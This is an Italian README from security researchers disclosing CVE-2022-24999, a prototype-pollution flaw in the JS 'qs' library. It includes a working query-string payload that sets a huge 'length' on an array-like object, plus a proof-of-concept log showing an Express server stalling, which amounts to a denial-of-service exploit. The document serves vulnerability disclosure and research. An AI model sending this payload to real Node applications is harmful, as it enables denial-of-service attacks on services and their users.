
"qs" vulnerabilità di avvelenamento del prototipo ( CVE-2022-24999 )
Questo repository contiene esempi di exploit della vulnerabilità che abbiamo trovato nella libreria JS "qs" a dicembre 2021.
Le versioni vulnerabili di "qs" permettono di creare proprietà "proto" sugli oggetti JS di output.
Impostando un Array nella proprietà "__ proto__", siamo riusciti a creare oggetti "array-like".
Poiché gli oggetti risultanti ereditano il prototipo "Array", espongono le funzioni native di Array.
Ma poiché sono comunque Oggetti, "qs" permette di impostare la proprietà "length" su di essi.
Ad esempio, il seguente payload creerà questo tipo di array "maligno":
categories[_proto__]&categories[_proto__]&categories[length]=100000000
Pertanto, impostare un valore di "length" irragionevole su di essi bloccherà il processo node non appena tenta di convertirli in valori stringa o chiamando la maggior parte delle funzioni native di Array.
Ciò espone qualsiasi applicazione Node che utilizza una versione vulnerabile di "qs", con la configurazione predefinita di Express e senza un robusto sistema di validazione, ad attacchi DOS applicativi.
Ecco un esempio di log del poc in ./express-qs-string-bomb :
Send payload : someString[_proto__]&someString[_proto__]&someString[length]=100000000
[server] Received params { someString: Array { length: '100000000' } }
[server] Run someString + 0
[server] someString + 0 : 6.364s
[server] Run someString == "123"
[server] someString == "123" : 6.387s
[server] just write `Got ${someString}`
[server] just write `Got ${someString}` : 6.397s
La nostra analisi ci ha anche permesso di vedere che erano possibili altre modalità di sfruttamento.
Ne descriviamo alcuni nella directory ./qs-vulns.
BRAUN Nathanael & BRISSAUD Johan
Per EY Security, Francia